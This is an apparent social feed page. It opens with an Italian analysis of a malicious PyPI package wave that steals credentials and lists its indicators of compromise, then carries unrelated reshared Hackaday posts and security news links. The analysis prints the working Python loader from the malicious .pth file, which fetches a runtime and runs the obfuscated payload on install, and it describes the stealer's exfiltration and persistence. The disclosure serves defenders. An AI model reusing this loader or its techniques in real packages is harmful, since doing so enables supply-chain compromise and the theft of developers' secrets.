  • Esegue bun run _index.js e scrive il sentinel


# Loader estratto dal *-setup.pth (forma normalizzata)
import glob, os, platform, subprocess, sys, tempfile, urllib.request, zipfile
sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
    base = os.path.dirname(__file__)
    payload = os.path.join(base, "_index.js")
    if not os.path.exists(payload):
        candidates = glob.glob(os.path.join(base, "*", "_index.js"))
        payload = candidates[0] if candidates else ""
    bun = os.path.join(tempfile.gettempdir(), "b", "bun")
    if not os.path.exists(bun):
        arch = "aarch64" if platform.machine() == "arm64" else "x64"
        os_name = {"linux":"linux","darwin":"darwin","win32":"windows"}.get(sys.platform,"linux")
        zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
        urllib.request.urlretrieve(
            f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
            zip_path)
        zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
        os.chmod(bun, 0o775)
    subprocess.run([bun, "run", payload], check=False)
    open(sentinel, "w").close()

Payload deobfuscation: quattro strati di protezione


Il file _index.js è protetto da quattro strati di offuscamento progressivo: un wrapper try { eval(...) } che decodifica un array di char-code con sostituzione ROT-style; uno stage AES-GCM che decripta due blob embedded e scrive il payload principale in /tmp/p*.js; un bootstrapper Bun che gestisce il download del runtime; infine il payload principale, con rotated string table, decoder PBKDF2/SHA256 e un ulteriore strato AES-256-GCM con gzip.

Una volta deoffuscato, il payload è un credential stealer ad ampio spettro ottimizzato per ambienti di sviluppo: token GitHub (inclusi ghs_* e GitHub Actions runner secrets), npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic. Sul fronte cloud: AWS credentials, STS, SSM Parameter Store, Secrets Manager; GCP Secret Manager; Azure Key Vault; Kubernetes service-account tokens; HashiCorp Vault. Vengono inoltre esfiltrate chiavi SSH, Docker configs, shell histories, file .env, .npmrc, .pypirc, configurazioni Claude/MCP e dati wallet.

Esfiltrazione via GitHub: camouflage su Anthropic API


Il payload include due percorsi di esfiltrazione. Il primo — apparentemente verso api.anthropic.com/v1/api — è di fatto un meccanismo di camouflage di rete: la route non esiste sui server Anthropic (restituisce 404), ma il traffico verso questo host ubiquo confonde i SIEM e rende difficile il blocco automatico. Il canale reale è GitHub: il payload crea repository pubblici con POST /user/repos, vi esegue commit di dati esfiltrati sotto path results/results-<timestamp>-<counter>.json, e può abusare di GitHub Actions per caricare artifact denominati format-results.

Il payload include anche meccanismi di persistenza post-compromissione: installa gh-token-monitor.sh come servizio systemd su Linux o LaunchAgent su macOS, e deposita file .claude/setup.mjs e .github/setup.js — estendendo il vettore di attacco agli ambienti di AI-assisted coding e workflow CI.

I pacchetti compromessi


I 37 artifact colpiscono 19 pacchetti riconducibili a un singolo account maintainer compromesso. I pacchetti ad alto impatto includono dynamo-release (framework per RNA-velocity single-cell), spateo-release (analisi trascrittomica spaziale), coolbox (toolkit Jupyter per genomica Hi-C/ChIP-Seq), e i tool ufish/napari-ufish per deep-learning. I download cumulativi di questi pacchetti si misurano in centinaia di migliaia. Il totale degli artifact compromessi monitorati da Socket attraverso npm e PyPI raggiunge 448.

Indicatori di Compromissione (IoC)

## Pacchetti PyPI compromessi (selezione)
bramin@0.0.2, @0.0.3, @0.0.4
cmd2func@0.2.2, @0.2.3
coolbox@0.4.1, @0.4.2
dynamo-release@1.5.4
executor-engine@0.3.4, @0.3.5
executor-http@0.1.3, @0.1.4
napari-ufish@0.0.2, @0.0.3
spateo-release@1.1.2
ufish@0.1.2, @0.1.3
uprobe@0.1.3, @0.1.4
## File malevoli
*-setup.pth
_index.js
## Hash SHA256
c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c
dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe
## Path filesystem
/tmp/.bun_ran
/tmp/b.zip  |  /tmp/b/bun
~/.config/gh-token-monitor/
~/.local/bin/gh-token-monitor.sh
~/.config/systemd/user/gh-token-monitor.service
~/Library/LaunchAgents/com.github.token-monitor.plist
## Network
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
hxxps://api[.]anthropic[.]com/v1/api  (camouflage - non funzionale)
## Marker GitHub esfiltrazione
Repository description: "Hades - The End for the Damned"
Commit marker: "IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully"
Workflow name: "Run Copilot"
Artifact name: "format-results"
Path pattern: results/results-*.json

Due righe per i difensori


Chi ha installato versioni compromesse deve rimuovere i pacchetti, ricostruire gli environment e ruotare immediatamente tutte le credenziali accessibili: token GitHub/GitHub Actions, chiavi PyPI/npm/RubyGems, credenziali AWS/GCP/Azure/Kubernetes, token CircleCI e HashiCorp Vault, chiavi SSH e Docker credentials. A livello di detection statica, qualsiasi wheel PyPI contenente un file .pth eseguibile con download di runtime remoti e subprocess execution va trattato come alto rischio. A runtime, monitorare la catena python -> bun -> _index.js e connessioni verso github.com/oven-sh/bun/releases/download/. Sul fronte GitHub, ricercare negli organization log i marker Hades sopra elencati.

Fonte principale: Socket Research Team — socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave

reshared this

Less Than 10 Years? Commonwealth Fusion Systems Applies to Plug into Grid in 2030s


The media in this post is not displayed to visitors. To view it, please log in.

Apparently what a fusion power plant should look like

Whenever the topic of fusion power comes up, someone will say it’s only 10 years away from commercialization in an excited tone, and someone older or more cynical will point out that it’s been 10 years away since Eisenhower was president. So it’s with a certain-sized crystal of sodium chloride that we share the news here that the US-based Commonwealth Fusion Systems is applying to feed 400MWe into the grid there by the early 2030s.

The early 2030s is, notably, less than ten years from now.

Commonwealth Fusion Systems isn’t a bunch of nobodies out to suck up venture capital; they’re a talented group of researchers from MIT’s well-known plasma laboratory out to suck up lots of venture capital and hopefully build reactors along the way. So far, the second part is going better than the first: they’ve raised a couple billion dollars, which has let them make great strides in building their SPARC reactor– like crafting the big magnet we told you about in 2021. As that article describes, SPARC is the precursor to the later, larger ARC reactor they hope to hook to the grid in slightly under a decade. Alas, SPARC remains under construction as of this writing. ARC is evidently in the final planning stages, with a physical location determined and grid-tie applied for at the “Fall Line Fusion Power Station” in Virginia.

CFS’s reactors are of the Tokamak type that has been favoured at universities since the 1970s. From China to Europe’s ITER who are also planning to produce power before another decade passes— though not, notably, into a power grid. While promising, Tokamaks aren’t the only game in town, either– steampunk startup General Fusion started making plasma last year, though while if it works it has some big advantages, that one is probably the traditional “ten years away” still.

What do you think? Will fusion power be in the grid before humans make it back to the moon? Add the flying-car potential of eVTOL and we might finally get close to the future we were promised.


hackaday.com/2026/06/07/less-t…

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

TA4922: il gruppo cinese che ha deciso di fare sul serio in Europa – e l’Italia è nel mirino

📌 Link all'articolo : redhotcyber.com/post/ta4922-il…

A cura di Luca Stivali del gruppo DarkLab

#redhotcyber #news #cybersecurity #hacking #malware #ransomware #spearphishing

reshared this

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Scopri come un truffatore ha venduto dati di 7 milioni di anziani americani per anni

📌 Link all'articolo : redhotcyber.com/post/scopri-co…

A cura di Carolina Vivianti

#redhotcyber #news #frodeinformatica #cybersecurity #hacking #malware #truffalotteria

reshared this

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Workshop RHC Conference 2026 - From Capture-the-Flag to Real-World Bug Hunting: A Latin American Perspective

Guarda il video: youtube.com/watch?v=07CeSOVAFv…

#redhotcyber #rhcconference #conferenza #informationsecurity #ethicalhacking

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Il Pentagono accelera sulla cyber security. Gli USA preparano il campo di battaglia digitale

📌 Link all'articolo : redhotcyber.com/post/il-pentag…

A cura di Luigi Zullo

#redhotcyber #news #sicurezzainformatica #cybersecurity #difesainformatica #strategiabellica

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

333 – Hanno fregato l’AI con l’AI e si sono presi gli account camisanicalzolari.it/333-hanno…

reshared this

A RayCast FPS in COBOL


The media in this post is not displayed to visitors. To view it, please log in.

COBOL is not the first language anyone would ever think of when writing a First Person Shooter– after all , it’s the Common Business Oriented Language, not the Common Game Oriented Language. For Youtube-based hacker [icitry] though, that’s the point. The only way to determine if COBOL would be enough to write an FPS game was to do it.

Sure, you could rest on your laurels knowing that the language is Turing complete and therefore capable by definition, but what’s the fun in that? Now the pipeline for this game is as hacky as anything– COBOL doesn’t exactly have a robust graphics stack or a lot of libraries for pushing pixles, so he’s outputting each frame of the game as raw bitmap to STDOUT, and letting ffplay assemble the images. Control enters the same way, with the terminal set to raw input and the COBOL program reading STDIN.

As for what the images consist of, he’s going for a standard Wolfenstien-inspired raycasting shooter. [icitr] provides a decent explanation of the raycasting algorithm, along with why implementing in COBOL is a silly thing to try. That’s a theme here; he’s able to implement sprites and the logic to move and attack enemies, while constantly complaining about COBOL. If that wasn’t enough, he adds variable-height sectors to bring this much closer to a true DOOM clone. By the end, there’s a full game. It’s all up on GitHub on an Apache license.

While this video is not the most gentle introduction to COBOL, it does show you can hack the business-specific language to do whatever you’d like.


hackaday.com/2026/06/06/a-rayc…

Building a Gifford-McMahon Cryocooler With 3D-Printed Parts


The media in this post is not displayed to visitors. To view it, please log in.

Although cryocoolers are capable of pretty impressive cooling, for many of them the underlying working principle is simple enough that you do not need any special skills or a big budget to make your own version. Take the Gifford-McMahon cryocooler for example, which works using nothing more than some kind of coolant gas and a piston in a cylinder that you can even 3D print, as demonstrated by [Hyperspace Pirate] in a recent video.

The lowest temperature reached across the two prototypes was only -84°C, but this was mostly due to some sub-optimal design choices, such as the use of regular air and a clear acrylic tube to get a good glimpse at the inner workings. The trickiest part of this type of cryocooler is probably that you need to move the piston containing the regenerator between both ends of the cylinder to get a cool and a hot side.

That particular problem was solved by using magnets to move the piston externally, which worked beautifully until the problem of using regular compressed air from the shop compressor caused massive ice formation that jammed up the piston. Obviously this was not an unexpected issue, and for the next step the coolant gas will be replaced by helium, as making that gas freeze up requires quite a bit more effort.

youtube.com/embed/Jj7Q7OqaW4A?…


hackaday.com/2026/06/06/buildi…

Pi Pico Demos, Therefore It Is


The media in this post is not displayed to visitors. To view it, please log in.

A good demo, like [Linus Akesson]’s Sum Ergo Demonstrato, looks like magic to the average hacker. To normies who don’t know the limitations of the RP2350, they don’t see the big deal. To anyone who has spent any time with the chip, though, it’s a series of tricks you cannot help but be amazed by. Fortuanately for us, [Linus] isn’t actually a magician, because while a magician never reveals his tricks, [Linus] has an hour-long video explaining exactly how his demo was accomplished. We’ve embedded both the demo and the explanation below.

Even if you aren’t into YouTube, you should check out the demo video, and again– remember this is all on a Pi Pico with only the extra passives required for video-out. Then you can watch [Linus] explain how he did it, which is really best heard in his own words. There are a couple of bleeding-edge tricks on the RISC V core and peripherals that we would hate to misrepresent– especially the clever hack with the interpolator that he uses for 3D acceleration.

If this sounds a bit familiar, it’s because we were equally impressed by his Kaleidoscopico demo last year. From demos like this to 3D engines on the ESP32, its amazing what you can do on modern micros if you’re willing to hit the limits of the hardware.

Thanks to [Stephen Walters] for the tip!

The Demo:

youtube.com/embed/v8zKDotYh9A?…

Technical video:

youtube.com/embed/0_9YS2tsdYc?…


hackaday.com/2026/06/06/pi-pic…

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

The current state of business.

#business #ai #advertising #advertisement

Cybersecurity & cyberwarfare ha ricondiviso questo.

U.S. CISA adds SolarWinds Serv-U flaw to its Known Exploited Vulnerabilities catalog
securityaffairs.com/193245/sec…
#securityaffairs #hacking

Pi Pico Puts Bluetooth Keyboards on the I2C Bus


The media in this post is not displayed to visitors. To view it, please log in.

If you’ve ever worked with I2C, you know its one of those things that makes working with modern microcontrollers such a pleasure. With a few wires and not many more lines of code, you can communicate with all sorts of hardware such as sensors, displays, and input devices. There are even I2C keyboards out there, although they tend to be a bit pokey — and not in the good way as it pertains to keyboards.

But the bt2i2c project from [Roberto Alsina] promises to improve things. With his firmware flashed to a Pi Pico W, you can establish a connection with any standard Bluetooth keyboard and have the keystrokes sent over the wire via I2C. As far as your project is concerned, the input will appear to be coming from a BlackBerry BBQ20/BBQ10 keyboard using the address 0x1F, which means that there’s already plenty of code out there to work with. While [Roberto] explains its not strictly necessary, connecting a ST7789 display to the Pi Pico over SPI will give you some visual feedback on connection status.

As microcontrollers become increasingly powerful and capable of the sort of thing we would once have done on a “real” computer, a project like this has some fascinating potential. We’ve seen a number of “writerdeck” projects running on chips like the ESP32, and it’s not hard to see the appeal of being able to easily pair your favorite Bluetooth keyboard up to one of them.


hackaday.com/2026/06/06/pi-pic…

Cybersecurity & cyberwarfare ha ricondiviso questo.

EOLE - Evento europeo sul diritto all'open source e al software libero

EOLE è un evento internazionale che mira a incoraggiare la condivisione e la diffusione delle conoscenze giuridiche relative alle licenze aperte, nonché lo sviluppo e la promozione di buone pratiche.

eolevent.eu/eole-2026/

@eticadigitale